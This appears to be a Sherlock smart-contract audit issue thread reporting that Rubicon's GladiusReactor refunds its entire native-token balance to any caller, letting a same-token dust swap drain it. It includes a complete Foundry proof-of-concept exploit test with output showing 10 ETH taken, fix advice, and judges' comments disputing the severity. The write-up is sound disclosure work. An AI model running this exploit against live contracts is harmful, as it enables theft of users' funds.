sherlock-admin2 commented 7 months ago

merlinboii

medium

Draining Remaining Native Tokens with Dust Spending

Summary

The remaining native token balance can be drained by directly swapping order with dust amount through GladiusReactor contract.

Vulnerability Detail

The execution functions of GladiusReactor contract allow public calls by anyone and the GladiusReactor can receive native token to support the following cases:

Filler sends more ETH than required to execute() or executeBatch()
There is excess contract balance remaining from others incorrectly calling execute()/executeBatch() without direct filler method but with a msg.value

The ALL remaining native tokens are intended to be refunded to the filler contract at that time (as mentioned in the code snippet below, which are expected to rightfully execute the valid order queried from off-chain.

Moreover, the resolve order process does not validate the order's input and output token. This allows the malicious swapper can directly execute the input token = output token order with a dust swapping amount.

By doing so, they can retrieve all remaining native tokens in the GladiusReactor contract while reducing the initial amount required to perform the token draining and minimizing the fee charge.

BaseGladiusReactor.sol#L245 - 250

    File: BaseGladiusReactor.sol
    // refund any remaining ETH to the filler. Only occurs when filler sends more ETH than required to
    // `execute()` or `executeBatch()`, or when there is excess contract balance remaining from others
    // incorrectly calling execute/executeBatch without direct filler method but with a msg.value
    if (address(this).balance > 0) {
        CurrencyLibrary.transferNative(msg.sender, address(this).balance);
    }

Proof of Concept

The test_Gain_Remaining_GladiusNativeBalance_Via_Swap_Dust test case shows that a malicious swapper can execute an order where the input token is the same as the output token.

As a result, the swapper's balance after executing the order being reduced by only the fee incurred during the process.

However, the malicious swapper executes the same-token order swap with a DUST amount to minimize the fee charge.

Consequently, they drain all the remaining native tokens in the GladiusReactor contract by using the DUST spending.

The following is the test script and its result. The test can be put and run by following.

Directory: gladius-contracts-internal/test/audit-poc/GladiusReactor.poc.sol

Run: forge test --mt test_Gain_Remaining_GladiusNativeBalance_Via_Swap_Dust -vvv

The `test_Gain_Remaining_GladiusNativeBalance_Via_Swap_Dust` test

Gist: https://gist.github.com/filmptz/9fcce58d764fc85560f40919b4b862c3

File: GladiusReactor.poc.sol
pragma solidity 0.8.19;

import {ResolvedOrder, DutchOutput, DutchInput} from "../../src/reactors/ExclusiveDutchOrderReactor.sol";
import {PartialFillLib, GladiusOrder} from "../../src/lib/PartialFillLib.sol";

import {FixedPointMathLib} from "solmate/src/utils/FixedPointMathLib.sol";
import {IPermit2} from "permit2/src/interfaces/IPermit2.sol";
import {GladiusReactor} from "../../src/reactors/GladiusReactor.sol";
import {ResolvedOrder, SignedOrder, OrderInfo, InputToken, OutputToken} from "../../src/base/ReactorStructs.sol";
import {OutputsBuilder} from "../util/OutputsBuilder.sol";
import {DeployPermit2} from "../util/DeployPermit2.sol";
import {OrderInfoBuilder} from "../util/OrderInfoBuilder.sol";
import {RubiconFeeController} from "../../src/fee-controllers/RubiconFeeController.sol";
import {MockERC20} from "../util/mock/MockERC20.sol";
import {MockGladiusFill} from "../util/mock/MockGladiusFill.sol";
import {NATIVE} from "../../src/lib/CurrencyLibrary.sol";
import {PermitSignature} from "../util/PermitSignature.sol";
import {DutchDecayLib} from "../../src/lib/DutchDecayLib.sol";

import {Test, console} from "forge-std/Test.sol";

contract GladiusReactorPoCTest is
    Test,
    DeployPermit2,
    PermitSignature
{
    using PartialFillLib for GladiusOrder;
    using DutchDecayLib for DutchOutput[];
    using DutchDecayLib for DutchInput;
    using PartialFillLib for uint256;

    using OrderInfoBuilder for OrderInfo;
    using FixedPointMathLib for uint256;

    address internal constant PROTOCOL_FEE_OWNER = address(1);

    // TOKENS
    MockERC20 tokenIn;
    MockERC20 tokenOut;

    // GLADIUS-REACTOR-CONFIG
    IPermit2 permit2;
    RubiconFeeController feeController;
    MockGladiusFill fillContract;
    address feeRecipient;
    GladiusReactor reactor;

    //SWAPPER
    uint256 swapperPrivateKey;
    address swapper;

    function setUp() public {
        tokenIn = new MockERC20("Input", "IN", 18);
        tokenOut = new MockERC20("Output", "OUT", 18);

        swapperPrivateKey = 0x12341234;
        swapper = vm.addr(swapperPrivateKey);

        permit2 = IPermit2(deployPermit2());

        feeRecipient = makeAddr("feeRecipient");
        reactor = createReactor();

        feeController = new RubiconFeeController();
        feeController.initialize(address(this), feeRecipient);
        feeController.setGladiusReactor(payable(address(reactor)));

        fillContract = new MockGladiusFill(address(reactor));
    }

    function createReactor() public returns (GladiusReactor) {
        GladiusReactor r = new GladiusReactor();
        r.initialize(address(permit2), PROTOCOL_FEE_OWNER);
        return r;
    }

    /// @dev Create and sign 'GladiusOrder'
    function createAndSignOrder(
        ResolvedOrder memory request
    )
        public
        view
        returns (SignedOrder memory signedOrder, bytes32 orderHash)
    {
        DutchOutput[] memory outputs = new DutchOutput[](
            request.outputs.length
        );

        for (uint256 i = 0; i < request.outputs.length; i++) {
            OutputToken memory output = request.outputs[i];
            outputs[i] = DutchOutput({
                token: output.token,
                startAmount: output.amount,
                endAmount: output.amount,
                recipient: output.recipient
            });
        }

        GladiusOrder memory order = GladiusOrder({
            info: request.info,
            decayStartTime: block.timestamp,
            decayEndTime: request.info.deadline,
            exclusiveFiller: address(0),
            exclusivityOverrideBps: 300,
            input: DutchInput(
                request.input.token,
                request.input.amount,
                request.input.amount
            ),
            outputs: outputs,
            fillThreshold: 1
        });
        orderHash = order.hash();

        return (
            SignedOrder(
                abi.encode(order),
                signOrder(swapperPrivateKey, address(permit2), order)
            ),
            orderHash
        );
    }

    //-------------------------- GLADIUS EXEC PoC--------------------------

    function test_Gain_Remaining_GladiusNativeBalance_Via_Swap_Dust() public {
        //> some remaining native token in Gladius Reactor
        address someRandomUser = vm.addr(1);
        vm.startPrank(someRandomUser);
        vm.deal(someRandomUser, 10 ether);
        assertEq(address(someRandomUser).balance, 10 ether);

        _createRemainingEtheInGladiusReactor();
        vm.stopPrank();

        //> initial setting
        vm.prank(PROTOCOL_FEE_OWNER);
        reactor.setProtocolFeeController(address(feeController));

        uint256 inputBalance = 10**18 * 100;
        uint256 deadline = block.timestamp + 1000;
        tokenOut = tokenIn; //> swap same input-output
        tokenIn.mint(address(swapper), uint256(inputBalance));

        //> Malicious swapper initial attack
        uint256 inputAmount = 50; //DUST AMOUNT
        uint256 outputAmount = inputAmount;
        tokenIn.forceApprove(swapper, address(permit2), inputAmount);

        uint256 baseFee = feeController.baseFee();
        uint256 feeAmount = uint256(outputAmount).mulDivUp(baseFee, 100_000);
        tokenIn.forceApprove(swapper, address(reactor), outputAmount + feeAmount);

        ResolvedOrder memory order = ResolvedOrder({
            info: OrderInfoBuilder
                .init(address(reactor))
                .withSwapper(swapper)
                .withDeadline(deadline),
            input: InputToken(tokenIn, inputAmount, inputAmount),
            outputs: OutputsBuilder.single(
                address(tokenOut),
                outputAmount,
                swapper
            ),
            sig: hex"00",
            hash: bytes32(0)
        });

        (
            SignedOrder memory signedOrder,
            bytes32 orderHash
        ) = createAndSignOrder(order);

        (
            uint256 swapperInputBalanceStart,
            uint256 swapperOutputBalanceStart,
            uint256 swapperNativeBalanceStart,
            uint256 reactortNativeBalanceStart
        ) = _checkpointBalances();

        // Mallicious swapper execute order without partition
        vm.prank(swapper);
        reactor.execute(signedOrder);

        console.log("Input token: %s", address(tokenIn));
        console.log("Output token: %s\n", address(tokenOut));

        console.log("Input amount: %s", inputAmount);
        console.log("Output amount: %s\n", outputAmount);

        console.log("Swapper Start NATIVE Balance: %s", swapperNativeBalanceStart);
        console.log("Swapper End NATIVE Balance: %s", address(swapper).balance);
        console.log("Swapper GAIN NATIVE: +%s With swap: %s\n", address(swapper).balance - swapperNativeBalanceStart, swapperInputBalanceStart - tokenIn.balanceOf(address(swapper)));

        console.log("GladiusReactor Start NATIVE Balance: %s", reactortNativeBalanceStart);
        console.log("GladiusReactor End NATIVE Balance: %s", address(reactor).balance);
        console.log("GladiusReactor LOST NATIVE: -%s\n", reactortNativeBalanceStart - address(reactor).balance);

        assertGt(address(swapper).balance, swapperNativeBalanceStart);
        assertEq(swapperInputBalanceStart - tokenIn.balanceOf(address(swapper)), feeAmount);
    }

    function _createRemainingEtheInGladiusReactor() internal {
        (bool success, ) = address(reactor).call{value: 10 ether}("");
        require(success);
    }

    function _checkpointBalances()
        internal
        view
        returns (
            uint256 swapperInputBalanceStart,
            uint256 swapperOutputBalanceStart,
            uint256 swapperNativeBalanceStart,
            uint256 reactortNativeBalanceStart
        )
    {
        swapperInputBalanceStart = tokenIn.balanceOf(address(swapper));
        swapperOutputBalanceStart = tokenOut.balanceOf(address(swapper));
        swapperNativeBalanceStart = address(swapper).balance;
        reactortNativeBalanceStart = address(reactor).balance;
    }
}

The Result of PoC

Running 1 test for test/audit-poc/GladiusReactor.poc.sol:GladiusReactorPoCTest
[PASS] test_Gain_Remaining_GladiusNativeBalance_Via_Swap_Dust() (gas: 302743)
Logs:
  Input token: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
  Output token: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f

  Input amount: 50
  Output amount: 50

  Swapper Start NATIVE Balance: 0
  Swapper End NATIVE Balance: 10000000000000000000
  Swapper GAIN NATIVE: +10000000000000000000 With swap: 1

  GladiusReactor Start NATIVE Balance: 10000000000000000000
  GladiusReactor End NATIVE Balance: 0
  GladiusReactor LOST NATIVE: -10000000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.48ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

The complete loss of all remaining native token balance to the malicious swapper, which should rightfully belong to the filler contracts for the available order execution.

Code Snippet

Resolve Order

GladiusReactor.sol#L46

    File: GladiusReactor.sol
    /// @notice Resolves order into 'GladiusOrder' and applies a decay
    ///         function and a partition function on its in/out amounts.
    function resolve(
        SignedOrder calldata signedOrder,
        uint256 quantity
    ) internal view override returns (ResolvedOrder memory resolvedOrder) {
        GladiusOrder memory order = abi.decode(
            signedOrder.order,
            (GladiusOrder)
        );

        _validateOrder(order);

Validate Order

GladiusReactor.sol#L129 - 149

    File: GladiusReactor.sol
    /// @notice validate order fields:
    /// - outputs array must contain only 1 element.
    /// - deadline must be greater than or equal than decayEndTime
    /// - decayEndTime must be greater than or equal to decayStartTime
    /// - if there's input decay, outputs must not decay
    /// @dev Reverts if the order is invalid
    function _validateOrder(GladiusOrder memory order) internal pure {  //@audit 003 - input can == output
        if (order.outputs.length != 1) revert InvalidOutLength();

        if (order.info.deadline < order.decayEndTime)
            revert DeadlineBeforeEndTime();

        if (order.decayEndTime < order.decayStartTime)
            revert OrderEndTimeBeforeStartTime();

        if (order.input.startAmount != order.input.endAmount) { //if there's input decay, outputs must not decay
            if (order.outputs[0].startAmount != order.outputs[0].endAmount) {
                revert InputAndOutputDecay();
            }
        }
    }

Refund Logic

BaseGladiusReactor.sol#L245 - 250

    File: BaseGladiusReactor.sol
    // refund any remaining ETH to the filler. Only occurs when filler sends more ETH than required to
    // `execute()` or `executeBatch()`, or when there is excess contract balance remaining from others
    // incorrectly calling execute/executeBatch without direct filler method but with a msg.value
    if (address(this).balance > 0) {
        CurrencyLibrary.transferNative(msg.sender, address(this).balance);
    }

Tool used

Manual Review
Foundry

Recommendation

As the restriction of filler contracts appears to limit the ability of the order-maker actor to fill the order, the handling of the native refunding case can be improved to better serve the intended purposes.

    File: BaseGladiusReactor.sol
    // refund any remaining ETH to the filler. Only occurs when filler sends more ETH than required to
    // `execute()` or `executeBatch()`, or when there is excess contract balance remaining from others
    // incorrectly calling execute/executeBatch without direct filler method but with a msg.value
    if (address(this).balance > 0) {
        CurrencyLibrary.transferNative(msg.sender, address(this).balance);
    }

Case#1: Filler sends more ETH than required to execute() or executeBatch() Currently, in the existing logic, the current filler will receive all of the remaining native balance, which can exceed their overpayment. The protocol can apply tracking of the actual transferred native fill amount in each execution and compare it with the msg.value sent from the fillers to refund the precise amount.
Case#2:There is excess contract balance remaining from others incorrectly calling execute()/executeBatch() without direct filler method but with a msg.value The protocol can apply logic to keep track of mistakenly sent native tokens to the contract and use them for the proper purposes based on requirements, such as distributing them to incentivize each filler.

Moreover, consider adding the input and output token addresses validation into the _validateOrder of the GladiusReactor contract.

List of Execution Functions

### File: BaseGladiusReactor.sol * [execute(SignedOrder calldata order,uint256 quantity)](https://github.com/sherlock-audit/2024-02-rubicon-finance/blob/main/gladius-contracts-internal/src/reactors/BaseGladiusReactor.sol#L53-L56) * [executeWithCallback(SignedOrder calldata order,uint256 quantity, bytes calldata callbackData)](https://github.com/sherlock-audit/2024-02-rubicon-finance/blob/main/gladius-contracts-internal/src/reactors/BaseGladiusReactor.sol#L65-L69) * [executeBatch(SignedOrder[] calldata orders, uint256[] calldata quantities)](https://github.com/sherlock-audit/2024-02-rubicon-finance/blob/main/gladius-contracts-internal/src/reactors/BaseGladiusReactor.sol#L82-L85) * [executeBatchWithCallback(SignedOrder[] calldata orders, uint256[] calldata quantities, bytes calldata callbackData)](https://github.com/sherlock-audit/2024-02-rubicon-finance/blob/main/gladius-contracts-internal/src/reactors/BaseGladiusReactor.sol#L104-L108) * [execute(SignedOrder calldata order)](https://github.com/sherlock-audit/2024-02-rubicon-finance/blob/main/gladius-contracts-internal/src/reactors/BaseGladiusReactor.sol#L133-L135) * [executeWithCallback(SignedOrder calldata order, bytes calldata callbackData)](https://github.com/sherlock-audit/2024-02-rubicon-finance/blob/main/gladius-contracts-internal/src/reactors/BaseGladiusReactor.sol#L144-L147) * [executeBatch(SignedOrder[] calldata orders)](https://github.com/sherlock-audit/2024-02-rubicon-finance/blob/main/gladius-contracts-internal/src/reactors/BaseGladiusReactor.sol#L160-L162) * [executeBatchWithCallback(SignedOrder[] calldata orders, bytes calldata callbackData)](https://github.com/sherlock-audit/2024-02-rubicon-finance/blob/main/gladius-contracts-internal/src/reactors/BaseGladiusReactor.sol#L180-L183)

sherlock-admin commented 7 months ago

2 comment(s) were left on this issue during the judging contest.

tsvetanovv commented:

Low. As I understand it the contract is not expected to hold funds. Even if somebody sent in a mistake it wouldn't be his fault. I don't think the report qualifies for Medium but you can escalate if you want.

0xAadi commented:

Invalid: There will not have any dust

merlinboii commented 7 months ago

Escalate I accept that the contract is designed not to hold funds as expected, and there is no responsibility to be assumed if someone mistakenly sends native currency to this contract.

However, my concern in this issue is that as the description of the code at this refund any remaining ETH to the fillers, The fillers who do some work like the order-maker for the platform and are expected to run an off-chain logic, and pick orders, that are profitable for them to execute. They probably should be incentive from that locked funds, not anyone who just deploys any ERC20 token then directly call to the GladiusReactor without any works for platform and steal that funds.

File: BaseGladiusReactor.sol
    // refund any remaining ETH to the filler. Only occurs when filler sends more ETH than required to
    // `execute()` or `executeBatch()`, or when there is excess contract balance remaining from others
    // incorrectly calling execute/executeBatch without direct filler method but with a msg.value

Another issue arises during the verification step of the order, where the input token and output token are allowed to be the same.

Thank you for taking the time to address this matter.

sherlock-admin2 commented 7 months ago

Escalate I accept that the contract is designed not to hold funds as expected, and there is no responsibility to be assumed if someone mistakenly sends native currency to this contract.

However, my concern in this issue is that as the description of the code at this refund any remaining ETH to the fillers, who are do some work like the order-maker for the platform and expected to run an off-chain logic, and pick orders, that are profitable for them to execute. should be incentive from that locked funds, not anyone who just deploys any ERC20 token then directly call to the GladiusReactor without any works for platform and steal that funds.

File: BaseGladiusReactor.sol // refund any remaining ETH to the filler. Only occurs when filler sends more ETH than required to // execute() or executeBatch(), or when there is excess contract balance remaining from others // incorrectly calling execute/executeBatch without direct filler method but with a msg.value Another issue arises during the verification step of the order, where the input token and output token are allowed to be the same.

Thank you for taking the time to address this matter.

The escalation could not be created because you are not exceeding the escalation threshold.

You can view the required number of additional valid issues/judging contest payouts in your Profile page, in the Sherlock webapp.

sherlock-audit / 2024-02-rubicon-finance-judging

merlinboii - Draining Remaining Native Tokens with Dust Spending #21

Draining Remaining Native Tokens with Dust Spending

Summary

Vulnerability Detail

Proof of Concept

The `test_Gain_Remaining_GladiusNativeBalance_Via_Swap_Dust` test

The Result of PoC

Impact

Code Snippet

Resolve Order

Validate Order

Refund Logic

Tool used

Recommendation

sherlock-audit / 2024-02-rubicon-finance-judging

merlinboii - Draining Remaining Native Tokens with Dust Spending #21

Draining Remaining Native Tokens with Dust Spending

Summary

Vulnerability Detail

Proof of Concept

The test_Gain_Remaining_GladiusNativeBalance_Via_Swap_Dust test

The Result of PoC

Impact

Code Snippet

Resolve Order

Validate Order

Refund Logic

Tool used

Recommendation

The `test_Gain_Remaining_GladiusNativeBalance_Via_Swap_Dust` test